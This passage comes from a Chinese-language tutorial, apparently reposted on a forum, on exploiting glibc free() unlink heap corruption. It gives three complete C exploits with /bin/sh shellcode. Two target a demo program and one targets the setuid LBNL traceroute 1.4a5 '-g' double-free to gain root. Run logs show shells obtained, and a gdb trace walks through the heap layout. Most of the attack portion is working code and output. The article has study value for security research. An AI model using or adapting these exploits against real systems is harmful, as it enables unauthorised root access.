    shellcode+8處.
    +--------+---------------------+---------------+
    |jmp 0x0a|nopnop...nopnopnopnop|正常的shellcode|
    +--------+---------------------+---------------+
    |<---- 10字節 ---->|
    希望大家提問前先 google 關鍵詞<br /> 希望大家提問前先看論壇的精華和置項的貼子<br /> 希望大家提問前先搜索論壇的相關內容<br /> 希望大家提問時把標題寫清楚<br /> 希望大家貼代碼時能保持縮進<br /> LFS ID:8158?

    ?pasting

    5. 一個演示程序

    下面我們就可以來寫溢出程序了,其實是相當簡單的:
    Shell代碼
  • /*?Exploit?for?free()?with?unlinking?next?chunk?-?ex.c? ??
  • *???????????by?[email]warning3@nsfocus.com[/email]?([url]http://www.nsfocus.com[/url])? ??
  • *?????????????????????????????????????2001/03/06??
  • */ ??
  • ??
  • #include?<stdio.h> ??
  • #include?<stdlib.h> ??
  • ??
  • #define?__FREE_HOOK?????0x401091b8??/*?__free_hook()地址?*/ ??
  • #define?VULPROG?"./vul"??
  • ??
  • #define?PREV_INUSE?0x1??
  • #define?IS_MMAPPED?0x2??
  • ??
  • char?shellcode[]?= ??
  • ??"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"?/*這一段是為了跳過垃圾數據*/ ??
  • ??"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"??
  • ??"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"??
  • ??"\x80\xe8\xdc\xff\xff\xff/bin/sh"; ??
  • ??
  • main?(int?argc,?char?**argv) ??
  • { ??
  • ??unsigned?int?codeaddr?=?0; ??
  • ??char?buf[128],?fake_chunk[16]; ??
  • ??char?*env[2]; ??
  • ??unsigned?int?*ptr; ??
  • ??
  • ??/*?計算shellcode在堆棧中的地址?*/ ??
  • ??codeaddr?=?0xc0000000?-?4?-?(strlen?(VULPROG)?+?1)?-?(strlen?(shellcode)?+?1); ??
  • ??
  • ??env[0]?=?shellcode; ??
  • ??env[1]?=?NULL; ??
  • ??
  • ??/*?偽造一個塊結構?*/ ??
  • ??ptr?=?(unsigned?int?*)?fake_chunk; ??
  • ??*ptr++?=?0x11223344?&?~PREV_INUSE;?/*?將PREV_INUSE位清零?*/ ??
  • ??/*?設置長度為-4,這個值應當是4的倍數?*/ ??
  • ??*ptr++?=?0xfffffffc; ??
  • ??*ptr++?=?__FREE_HOOK?-?12?; ??
  • ??*ptr++?=?codeaddr; ??
  • ?? ??
  • ??bzero(buf,?128); ??
  • ??memset?(buf,?'A',?16);?/*?填充無用數據?*/ ??
  • ??memcpy?(buf?+?16,?fake_chunk,?sizeof?(fake_chunk)); ??
  • ?? ??
  • ??execle?(VULPROG,?VULPROG,?buf,?NULL,?env); ??
  • ??
  • }?/*?End?of?main?*/??
  • /* Exploit for free() with unlinking next chunk - ex.c * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url]) * 2001/03/06 */#include <stdio.h> #include <stdlib.h>#define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */ #define VULPROG "./vul"#define PREV_INUSE 0x1 #define IS_MMAPPED 0x2char shellcode[] ="\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*這一段是為了跳過垃圾數據*/"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";main (int argc, char **argv) {unsigned int codeaddr = 0;char buf[128], fake_chunk[16];char *env[2];unsigned int *ptr;/* 計算shellcode在堆棧中的地址 */codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);env[0] = shellcode;env[1] = NULL;/* 偽造一個塊結構 */ptr = (unsigned int *) fake_chunk;*ptr++ = 0x11223344 & ~PREV_INUSE; /* 將PREV_INUSE位清零 *//* 設置長度為-4,這個值應當是4的倍數 */*ptr++ = 0xfffffffc;*ptr++ = __FREE_HOOK - 12 ;*ptr++ = codeaddr;bzero(buf, 128);memset (buf, 'A', 16); /* 填充無用數據 */memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));execle (VULPROG, VULPROG, buf, NULL, env);} /* End of main */
    運行一下看看:

    [warning3@redhat-6 malloc]$ gcc -o ex ex.c
    [warning3@redhat-6 malloc]$ ./ex
    0x8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA???????瑧@???
    0x8049780 [ buf1 ] (08) : 瑧@???
    From buf to buf1 : 24

    Before free buf
    Before free buf1
    bash$ <--- 成功了!!

    是不是很簡單?:-)

    小節:

    現在我們總結一下利用free(mem)來進行攻擊的基本步驟。假設chunk是該塊內部
    結構的指針(chunk = mem - 8)。

    我們有兩種方法:
    1. 如果我們想利用上一塊的unlink進行攻擊,需要保證:
    I. chunk->size的IS_MMAPPED位為零
    II. chunk->size的PREV_INUSE位為零
    III. chunk + chunk->prev_size指向一個我們控制的偽造塊結構;
    IV. 在一個確定的位置構造一個偽塊

    2. 如果想利用下一個塊的unlink進行攻擊,需要保證:
    I. chunk->size的IS_MMAPPED位為零
    II. chunk->size的PREV_INUSE位為一
    III. chunk + nextsz 指向一個我們控制的偽造塊結構。
    (nextsz = chunk->size & ~(PREV_INUSE|IS_MMAPPED))
    IV. 在一個確定的位置構造一個偽塊

    其中偽塊(fake_chunk)的結構如下:

    fake_chunk[0] = 0x11223344 & ~PREV_INUSE (只在第2種情況下有意義)
    fake_chunk[4] = 0xfffffffc | (PREV_INUSE|IS_MMAPPED); (只在第2種情況下有意義)
    fake_chunk[8] = objaddr - 12 ; (objaddr是要覆蓋的目標地址)
    fake_chunk[12] = shellcodeaddr ; (shellcodeaddr是shellcode的地址)

    至于具體使用上面哪種方法,需要根據實際情況確定。例如,如果你不能控制
    chunk->prev_size使其指向我們的偽塊,那就不能用第一種方法了。

    我們再看一個利用上一塊的unlink進行攻擊的例子,只要將弱點程序的free(buf1)放到
    free(buf)前面即可,這樣我們所free的buf1就是一個我們可以控制的內存塊了。
    改動后的vul.c如下:
    ...
    printf ("Before free buf1\n");
    free (buf1); /* 釋放buf1 */
    printf ("Before free buf\n");
    free (buf); /* 釋放buf */
    ...

    看看我們的新演示程序吧:
    Shell代碼
  • /*?Exploit?for?free()?with?unlinking?previous?chunk?-?ex1.c? ??
  • *???????????by?[email]warning3@nsfocus.com[/email]?([url]http://www.nsfocus.com[/url])? ??
  • *?????????????????????????????????????2001/03/06??
  • */ ??
  • ??
  • #include?<stdio.h> ??
  • #include?<stdlib.h> ??
  • ??
  • #define?__FREE_HOOK?????0x401091b8??????/*?__free_hook()地址?*/ ??
  • #define?VULPROG?"./vul"??
  • ??
  • #define?PREV_INUSE?0x1??
  • #define?IS_MMAPPED?0x2??
  • ??
  • char?shellcode[]?=? ??
  • ??"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"???/*這一段是為了跳過垃圾數據?*/ ??
  • ??"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"??
  • ??"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"??
  • ??"\x80\xe8\xdc\xff\xff\xff/bin/sh"; ??
  • ??
  • main?(int?argc,?char?**argv) ??
  • { ??
  • ??unsigned?int?codeaddr?=?0; ??
  • ??char?buf[128],?fake_chunk[16]; ??
  • ??char?*env[2]; ??
  • ??unsigned?int?*ptr; ??
  • ??
  • ??/*?計算shellcode在堆棧中的地址?*/ ??
  • ??codeaddr?=?0xc0000000?-?4?-?(strlen?(VULPROG)?+?1)?-?(strlen?(shellcode)?+?1); ??
  • ??
  • ??env[0]?=?shellcode; ??
  • ??env[1]?=?NULL; ??
  • ??
  • ??/*?偽造一個塊結構。?*/ ??
  • ??ptr?=?(unsigned?int?*)?fake_chunk; ??
  • ??*ptr++?=?0x11223344?&?~PREV_INUSE; ??
  • ??*ptr++?=?0xfffffffc; ??
  • ??*ptr++?=?__FREE_HOOK?-?12; ??
  • ??*ptr++?=?codeaddr; ??
  • ??
  • ??bzero?(buf,?128); ??
  • ??memset?(buf,?'A',?16);? ??
  • ??ptr?=?(unsigned?int?*)?(buf?+?16); ??
  • ?? ??
  • ??/*?讓prev_size等于-8?,使其指向我們偽造的塊.?滿足III條?*/ ??
  • ??*ptr++?=?0xfffffff8;? ??
  • ?? ??
  • ??/*?只要保證next以及next->size可以訪問即可。所以讓size長度等于-4?, ??
  • ???*?如果要為正值,必須找到堆棧里的一個有效值,還要計算偏移,太麻煩。 ??
  • ???*?同時要清兩個標記。滿足I.,II.條? ??
  • ???*/ ??
  • ??*ptr++?=?0xfffffffc?&?~(PREV_INUSE?|?IS_MMAPPED);? ??
  • ?? ??
  • ??/*?將偽造的塊放到確定位置。滿足第IV條?*/ ??
  • ??memcpy?(buf?+?16?+?8,?fake_chunk,?sizeof?(fake_chunk)); ??
  • ??
  • ??execle?(VULPROG,?VULPROG,?buf,?NULL,?env); ??
  • ??
  • }/*?End?of?main?*/??
  • /* Exploit for free() with unlinking previous chunk - ex1.c * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url]) * 2001/03/06 */#include <stdio.h> #include <stdlib.h>#define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */ #define VULPROG "./vul"#define PREV_INUSE 0x1 #define IS_MMAPPED 0x2char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*這一段是為了跳過垃圾數據 */"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";main (int argc, char **argv) {unsigned int codeaddr = 0;char buf[128], fake_chunk[16];char *env[2];unsigned int *ptr;/* 計算shellcode在堆棧中的地址 */codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);env[0] = shellcode;env[1] = NULL;/* 偽造一個塊結構。 */ptr = (unsigned int *) fake_chunk;*ptr++ = 0x11223344 & ~PREV_INUSE;*ptr++ = 0xfffffffc;*ptr++ = __FREE_HOOK - 12;*ptr++ = codeaddr;bzero (buf, 128);memset (buf, 'A', 16); ptr = (unsigned int *) (buf + 16);/* 讓prev_size等于-8 ,使其指向我們偽造的塊. 滿足III條 */*ptr++ = 0xfffffff8; /* 只要保證next以及next->size可以訪問即可。所以讓size長度等于-4 ,* 如果要為正值,必須找到堆棧里的一個有效值,還要計算偏移,太麻煩。* 同時要清兩個標記。滿足I.,II.條 */*ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED); /* 將偽造的塊放到確定位置。滿足第IV條 */memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));execle (VULPROG, VULPROG, buf, NULL, env);}/* End of main */
    讓我們再來測試一下:

    [warning3@redhat-6 malloc]$ gcc -o ex1 ex1.c
    [warning3@redhat-6 malloc]$ ./ex1
    0x8049768 [ buf ] (40) : AAAAAAAAAAAAAAAA??????D3"????瑧@???
    0x8049780 [ buf1 ] (16) : D3"????瑧@???
    From buf to buf1 : 24

    Before free buf1 <-- 先釋放buf1
    Before free buf
    bash$ exit


    6. 實例: Traceroute "-g"問題

    有了上面的演示程序。我們再來看一個真實世界的例子。

    Traceroute是用來檢查通往目標網絡的路由情況的一個工具,很多Unix系統都安
    裝了這個軟件。由于traceroute需要操縱原始套接字,因此通常被設置了setuid
    root屬性。LBNL 1.4a5版的Traceroute(LBNL = Lawrence Berkeley National
    Laboratory)存在一個安全漏洞,可以被攻擊者用來非法獲取root權限。

    這個漏洞主要是由于free()函數錯誤得去釋放一塊已經釋放的內存所引起的。

    首先我們看一下traceroute的漏洞出在那里。traceroute使用了一個savestr()函數,它
    在savestr.c中,它的作用類似strdup(),用來復制一個字符串。它會自動調用malloc()分
    配一塊較大的內存空間, 并記錄下調用完畢后剩余空間的大小。如果用戶下次調用
    savestr()時,所需內存比剩余空間還小,就不再調用malloc(),而是直接從已分配的空
    間中返回一個地址,這樣可以減少調用malloc()的次數。然而,這給用戶確定何時需要釋
    放那塊分配的內存帶來了麻煩,traceroute中沒有仔細考慮這一點,而是將savestr()等
    同與strdup()來使用,每次調用savestr()完畢后總會調用free()函數釋放內存。因此,
    當第二次調用savestr()后,free()所釋放的內存,實際上是一塊未被分配的內存(因為
    這塊內存已經被第一次free()所釋放了)!

    下面舛尉褪莝avestr()的代碼:
    Shell代碼
  • <...> ??
  • /*?A?replacement?for?strdup()?that?cuts?down?on?malloc()?overhead?*/ ??
  • char?* ??
  • savestr(register?const?char?*str) ??
  • { ??
  • ????????register?u_int?size; ??
  • ????????register?char?*p; ??
  • ????????static?char?*strptr?=?NULL; ??
  • ????????static?u_int?strsize?=?0; ??
  • ??
  • ????????size?=?strlen(str)?+?1; ??
  • ????????if?(size?>?strsize)?{ ??
  • ????????????????strsize?=?1024; ??
  • ????????????????if?(strsize?<?size) ??
  • ????????????????????????strsize?=?size; ??
  • ???????????????/*?只有size>strsize的情況下才調用malloc*/????????? ??
  • ????????????????strptr?=?(char?*)malloc(strsize); ??
  • ????????????????if?(strptr?==?NULL)?{ ??
  • ????????????????????????fprintf(stderr,?"savestr:?malloc\n"); ??
  • ????????????????????????exit(1); ??
  • ????????????????} ??
  • ????????} ??
  • ????????(void)strcpy(strptr,?str); ??
  • ????????p?=?strptr; ??
  • ????????strptr?+=?size; ??
  • ????????strsize?-=?size; ??
  • ????????return?(p); ??
  • }???????? ??
  • ??
  • <...>??
  • <...> /* A replacement for strdup() that cuts down on malloc() overhead */ char * savestr(register const char *str) {register u_int size;register char *p;static char *strptr = NULL;static u_int strsize = 0;size = strlen(str) + 1;if (size > strsize) {strsize = 1024;if (strsize < size)strsize = size;/* 只有size>strsize的情況下才調用malloc*/ strptr = (char *)malloc(strsize);if (strptr == NULL) {fprintf(stderr, "savestr: malloc\n");exit(1);}}(void)strcpy(strptr, str);p = strptr;strptr += size;strsize -= size;return (p); } <...>
    我們看一下兩次調用savestr()時的情形:

    <1>. p = savestr(S)

    假設字符串S長度為l(l<1024),則第一次調用savestr(),它會分配1024
    字節長的緩沖區來儲存S:

    |<----------------------- 1024 bytes -------------------->|
    +----------------------------+----------------------------+
    | S[0] S[1] ... S[l-1] \0 | junk |
    +----------------------------+----------------------------+
    ^ ^
    |__ p |___ strptr


    這時候剩余空間strsize為: (1024 - l - 1)
    strptr指向 junk的起始

    <2>. free(p)

    第一次free()會釋放p指向的這塊緩沖區(1024字節),它會放一些數據在緩
    沖區的開頭

    |<----------------------- 1024 bytes -------------------->|
    +-------+--------------------+----------------------------+
    | junk1 | S[k] ... S[l-1] \0 | junk |
    +-------+--------------------+----------------------------+
    ^
    |___ strptr
    這時候p所指向的1024字節大小的緩沖區已經被釋放了。

    <3>. p = savestr(T)

    第二次調用savestr()時,如果字符串T的長度小于strsize(1024 -l -1),
    那么savestr()就不會再次調用malloc()分配新內存,而是直接調用了:
    ....
    (void)strcpy(strptr, str);
    p = strptr;
    strptr += size;
    strsize -= size;
    return (p);
    ....
    將字符串T拷貝到junk的起始處,而實際上,這塊內存已經被釋放了!
    拷貝的結果如下:

    |<----------------------- 1024 bytes -------------------->|
    +-------+--------------------+--------------------+-------+
    | junk1 | S[k] ... S[l-1] \0 | T[0] ... T[n-1] \0 | junk2|
    +-------+--------------------+--------------------+-------+
    ^ ^
    |__ p |___ strptr

    這時,strptr指向了junk2處,strsize = 1024 -l -1 -n -1
    p指向原來的chunk起始處。

    <4>. free(p)

    第二次調用free()時,所指向的實際上是一個未分配的緩沖區,這就導致
    一個嚴重錯誤。我們看到既然S和T都是我們可以控制的,那么我們就可以
    利用前面所說的兩種方法中的任意一種來進行攻擊!

    下面就是調用'-g'參數時函數執行的一個簡單流程。
    Shell代碼
  • main() ??
  • .... ??
  • case?'g': ??
  • ... ??
  • getaddr(gwlist?+?lsrr,?optarg); ??
  • ??
  • getaddr(register?u_int32_t?*ap,?register?char?*hostname) ??
  • { ??
  • register?struct?hostinfo?*hi; ??
  • ??
  • (1)?hi?=?gethostinfo(hostname); ??
  • *ap?=?hi->addrs[0]; ??
  • (2)?freehostinfo(hi); ??
  • } ??
  • ??
  • struct?hostinfo?* ??
  • gethostinfo(register?char?*hostname) ??
  • { ??
  • ??
  • ... ??
  • (3)?hi?=?calloc(1,?sizeof(*hi)); ??
  • ... ??
  • addr?=?inet_addr(hostname); ??
  • if?((int32_t)addr?!=?-1)?{ ??
  • (4)?hi->name?=?savestr(hostname); ??
  • hi->n?=?1; ??
  • (5)?hi->addrs?=?calloc(1,?sizeof(hi->addrs[0])); ??
  • ...? ??
  • (6)?hi->addrs[0]?=?addr; ??
  • return?(hi); ??
  • }??
  • main() .... case 'g': ... getaddr(gwlist + lsrr, optarg);getaddr(register u_int32_t *ap, register char *hostname) { register struct hostinfo *hi;(1) hi = gethostinfo(hostname); *ap = hi->addrs[0]; (2) freehostinfo(hi); }struct hostinfo * gethostinfo(register char *hostname) {... (3) hi = calloc(1, sizeof(*hi)); ... addr = inet_addr(hostname); if ((int32_t)addr != -1) { (4) hi->name = savestr(hostname); hi->n = 1; (5) hi->addrs = calloc(1, sizeof(hi->addrs[0])); ... (6) hi->addrs[0] = addr; return (hi); }
    我們看到,每次getaddr中都會釋放hostinfo結構中的每個成員,包括hi->name.(1)
    而再第二次調用gethostinfo()時,又會經歷兩次calloc操作(3,5),以及一次賦值
    操作(6)。因此看起來并不象我們原來想象的那么簡單,關鍵在于我們能否控制第
    二次free的那塊內存的內部結構成員:chunk->size或者是chunk->prev_size.
    讓我們來跟蹤一下:

    [root@redhat-6 traceroute-1.4a5]# gdb ./traceroute -q
    (gdb) b gethostinfo
    Breakpoint 1 at 0x804aae8: file ./traceroute.c, line 1220.
    (gdb) r -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1

    Starting program: /usr/src/redhat/BUILD/traceroute-1.4a5/./traceroute -g
    111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1

    Breakpoint 1, gethostinfo (hostname=0xbffffdf3 "111.111.111.111")
    at ./traceroute.c:1220
    1220 hi = calloc(1, sizeof(*hi));
    (gdb) n
    1221 if (hi == NULL) {
    (gdb) n
    1225 addr = inet_addr(hostname);
    (gdb) n
    1226 if ((int32_t)addr != -1) {
    (gdb) p/x addr <-- 這是hostname轉換后的地址(111.111.111.111)
    $2 = 0x6f6f6f6f
    (gdb) n <-- 下一步要為hostname分配1024字節內存
    1227 hi->name = savestr(hostname);
    (gdb) n
    1228 hi->n = 1;
    (gdb) p/x hi->name <-- 這是第一次分配返回的地址
    $3 = 0x804d518
    (gdb) x/8x hi->name -8
    [prev_size] [size] [data...]
    0x804d510: 0x00000000 0x00000409 0x2e313131 0x2e313131
    0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000
    (gdb) n <-- 又動態分配了一塊內存
    1229 hi->addrs = calloc(1, sizeof(hi->addrs[0]));
    (gdb)
    1230 if (hi->addrs == NULL) {
    (gdb) p/x hi->addrs <-- 這塊內存是分配在hi->name + 0x400+8這個地址
    $4 = 0x804d920
    (gdb) n
    1235 hi->addrs[0] = addr;
    (gdb) n
    1236 return (hi);
    (gdb) x/x hi->addrs
    0x804d920: 0x6f6f6f6f <-- 注意,將addr存在這個地址了。
    (gdb) c
    Continuing.

    Breakpoint 1, gethostinfo (hostname=0xbffffe06 "0x66.0x77.0x88.0x99")
    at ./traceroute.c:1220
    1220 hi = calloc(1, sizeof(*hi));
    [ 這時,前面分配的內存已經全被釋放了 ]

    (gdb) p/x 0x804d510 <-- 我們看看原來的hi->name內存的情況
    $5 = 0x804d510
    (gdb) x/10x 0x804d510
    [prev_size] [size] [data...]
    0x804d510: 0x0804d920 0x00000af1 0x40108f80 0x40108f80
    0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000
    0x804d530: 0x00000000 0x00000000
    [ 我們看到我們原來的數據(16個字節)已經改變了 ]
    (gdb) n
    1221 if (hi == NULL) {
    (gdb) x/10x 0x804d510 <--- 執行完第一個calloc(),后,prev_size被清零了。
    [prev_size] [size] [data...]
    0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80
    0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000
    0x804d530: 0x00000000 0x00000000
    (gdb) n
    1225 addr = inet_addr(hostname);
    (gdb) n
    1226 if ((int32_t)addr != -1) {
    (gdb) p/x addr <-- 這里意味著我們可以構造一個任意的值,并賦給addr
    $6 = 0x99887766
    (gdb) n
    1227 hi->name = savestr(hostname); <--再次調用savestr()
    (gdb) n
    1228 hi->n = 1;
    (gdb) p/x hi->name
    $7 = 0x804d528 <-- 注意!hi->name的起始位置 =
    0x804d518 + 第一個-g參數的長度(16)

    (gdb) x/12x 0x804d510
    0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80
    0x804d520: 0x2e313131 0x00313131 * 0x36367830 0x3778302e
    0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000
    [ 第二個參數的內容從*號處開始 ]

    (gdb) n <-- 下面這個calloc將再分配一段內存
    1229 hi->addrs = calloc(1, sizeof(hi->addrs[0]));
    (gdb) n
    1230 if (hi->addrs == NULL) {
    (gdb) p/x hi->addrs < --- 這個地址就是我們第一次savestr()時得到的地址!!!
    $8 = 0x804d518
    (gdb) p/x sizeof(hi->addrs[0])
    $9 = 0x4
    (gdb) x/12x 0x804d510 <---
    [prev_size] [size] [data...]
    0x804d510: 0x0804d518 0x00000011 0x00000000 0x00000000
    0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e
    0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000
    [ 從上面看到,新分配的內存也是從0x804d510開始的,而且將用戶數據區的前8個
    字節清零。最頂上的塊也移動了16個字節,將0x804d520,0x804d524兩個地址的
    數據覆蓋了。
    ]
    (gdb) n
    1235 hi->addrs[0] = addr;
    (gdb) p/x hi->addrs[0]
    $10 = 0x0
    (gdb) n
    1236 return (hi);
    (gdb) p/x hi->addrs[0]
    $11 = 0x99887766
    (gdb) p/x &hi->addrs[0]
    $12 = 0x804d518
    (gdb) x/12x 0x804d510
    [prev_size] [size] [data...]
    0x804d510: 0x0804d518 0x00000011 0x99887766 0x00000000
    0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e
    0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000

    [ 注意,addr = 0x99887766被存到了0x804d518處,這個值是我們能控制的 ]

    (gdb) c
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0x40073f73 in free () at malloc.c:2952
    2952 malloc.c: No such file or directory.

    [ 在試圖free *號開始地址的內存時出錯 ]

    為了更容易理解一下,我們可以看一下兩次調用savestr()時的圖:

    第一次調用savestr()后,返回地址p0:

    |<----------------------- 1024 bytes -------------------->|
    +----------------------------+----------------------------+
    | "111.111.111.111" \0 | junk |
    +----------------------------+----------------------------+
    ^
    |__ p0

    在第二次savestr()后,p0移動到一個新的位置p1=p0 + strlen(hostname) +1。

    由于執行了一個calloc()操作,導致從p2開始的12個字節是我們不能控制的.
    而幸運的是,由于有一個"hi->addrs[0] = addr"操作,使得p2前面的四個
    字節是我們能控制的

    |<----------------------- 1024 bytes -------------------->|
    +--------+----------------------+---------------------+---+
    |99887766|0000 0000 0x0ae1|...\0|"0x66.0x77.0x88.0x99"|...|
    +--------+----------------------+---------------------+---+
    | 4字節 |<--- 12字節 --->| ^
    p0 p2 |__ p1

    接下來要free(p1)了。根據前面介紹的方法,如果要想利用free(p1),
    我們必須能控制p1-4(size)或者p1-8(prev_size)的內容,既然我們能控制
    p0開始的4個字節,如果我們能設法使得p1與p2重合,那么我們不就可以
    控制p1-4了嗎?這樣就要求第一個"-g"參數長度為3字節,例如"1.1"
    再加上最后的'\0',長度就剛好是4字節了。

    |<----------------------- 1024 bytes -------------------->|
    +--------+------------------------------------------------+
    | "1.1"\0| |
    +--------+------------------------------------------------+
    | 4字節 |
    p0

    |<----------------------- 1024 bytes -------------------->|
    +--------+------------------------------------------------+
    | "1.1"\0|"0x66.0x77.0x88.0x99"\0 |
    +--------+------------------------------------------------+
    | 4字節 |
    p0 p1

    |<----------------------- 1024 bytes -------------------->|
    +--------+----------------------------+-------------------+
    |99887766|0000 0000 0x0ae1|"88.0x99"\0|... |
    +--------+----------------------------+-------------------+
    | 4字節 |<--- 12字節 --->|<--8字節-->|
    p0 p2(p1)

    那么下一步的關鍵就是如何設置chunk->size,以及將我們的偽造的塊放在
    什么地方了。
    inet_addr()有一個"特性",如果你輸入"1.2.3.4 AAAAAA"(注意空格后面
    還添加了一些'A'),它并不會報錯,返回值為0x04030201.如果輸入
    "0xaa.0xbb.0xcc.0xdd AAA"這樣的字符串,返回值就是0xddccbbaa.我們
    可以將偽造的塊放在空格后面,將chunk->size放在0xaa.0xbb.0xcc.0xdd
    中。例如,第二個"-g"參數使用"0x1d.0x00.0x00.0x00 fake_chunk"
    這樣得到的chunk->size=0x0000001d。
    0x1d這個值是怎么算出來的呢?

    chunk = p1 -8
    fake_chunk = p1 + strlen("0x1d.0x00.0x00.0x00 ")
    = p1 + 20
    = chunk + 8 + 20
    = chunk + 28
    = chunk + 0x1c
    (0x1c | PREV_INUSE) ==> 0x1d

    有人也許會說,為什么不將第一個參數長度設得比較大,例如,超過16
    字節,這樣16字節后面的部分也會在我們的控制之下,利用這些部分來
    構造一個prev_size和size不是更方便嗎?我開始也是這么考慮的,但是
    實際測試時發現,p2所代表塊的已經是top塊,就是最頂上的塊。free(p1)
    時,要求p1-8地址低于p2,因此這種方法行不通。

    OK,到這里可以說是大功告成了,下面就可以開始寫測試程序了。我們利用的
    是unlink下一個塊的方法。你會發現,一旦原理搞清楚了,這個測試程序是相
    當簡潔的。 唯一需要知道的,就是__free_hook的地址.如果你有對
    /usr/sbin/traceroute的讀權限,可以將它拷貝到一個臨時目錄下,然后使用
    gdb,將斷點設在exit,然后獲取__free_hook.如果沒有讀權限,可以增加一個
    偏移量,自動測試可能的__free_hook,一般按照0x10來遞增或遞減即可。

    Shell代碼
  • /*?Exploit?for?LBNL?traceroute?with?unlinking?nextchunk? ??
  • *???????????????????????????????????-?traceroute-ex.c? ??
  • * ??
  • *?THIS?CODE?IS?FOR?EDUCATIONAL?PURPOSE?ONLY?AND?SHOULD?NOT?BE?RUN?IN ??
  • *?ANY?HOST?WITHOUT?PERMISSION?FROM?THE?SYSTEM?ADMINISTRATOR. ??
  • * ??
  • *???????????by?[email]warning3@nsfocus.com[/email]?([url]http://www.nsfocus.com[/url])? ??
  • *?????????????????????????????????????2001/03/08??
  • */ ??
  • #include?<stdio.h> ??
  • #include?<stdlib.h> ??
  • ??
  • #define?__FREE_HOOK?????0x401091b8??????/*?__free_hook地址?*/ ??
  • #define?VULPROG?"/usr/sbin/traceroute"??
  • ??
  • #define?PREV_INUSE?0x1??
  • #define?IS_MMAPPED?0x2??
  • ??
  • char?shellcode[]?=? ??
  • ??"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"???/*這一段是為了跳過垃圾數據?*/ ??
  • ??"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"??
  • ??"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"??
  • ??"\x80\xe8\xdc\xff\xff\xff/bin/sh"; ??
  • ??
  • main?(int?argc,?char?**argv) ??
  • { ??
  • ??unsigned?int?codeaddr?=?0; ??
  • ??char?buf[128],fake_chunk[16]; ??
  • ??char?*env[2]; ??
  • ??unsigned?int?*ptr; ??
  • ??
  • ??/*?計算shellcode在堆棧中的地址?*/ ??
  • ??codeaddr?=?0xc0000000?-?4?-?(strlen?(VULPROG)?+?1)?-?(strlen?(shellcode)?+?1); ??
  • ??
  • ??env[0]?=?shellcode; ??
  • ??env[1]?=?NULL; ??
  • ??
  • ??/*?偽造一個塊結構。?*/ ??
  • ??ptr?=?(unsigned?int?*)?fake_chunk; ??
  • ??*ptr++?=?0x11223344?&?~PREV_INUSE; ??
  • ??*ptr++?=?0xfffffffc; ??
  • ??*ptr++?=?__FREE_HOOK?-?12; ??
  • ??*ptr++?=?codeaddr; ??
  • ??
  • ??bzero?(buf,?128); ??
  • ??/*?設置chunk->size?=?((20+8?=?28?=?0x1c)?|?PREV_INUSE)=?0x1d?*/ ??
  • ??memcpy(buf,?"0x1d.0x00.0x00.0x00?",?20); ??
  • ??memcpy(buf+20,?fake_chunk,?16); ??
  • ??
  • ??execle?(VULPROG,?VULPROG,?"-g",?"1.1",?"-g"?,?buf,?"127.0.0.1",?NULL,?env); ??
  • ??
  • }/*?End?of?main?*/??
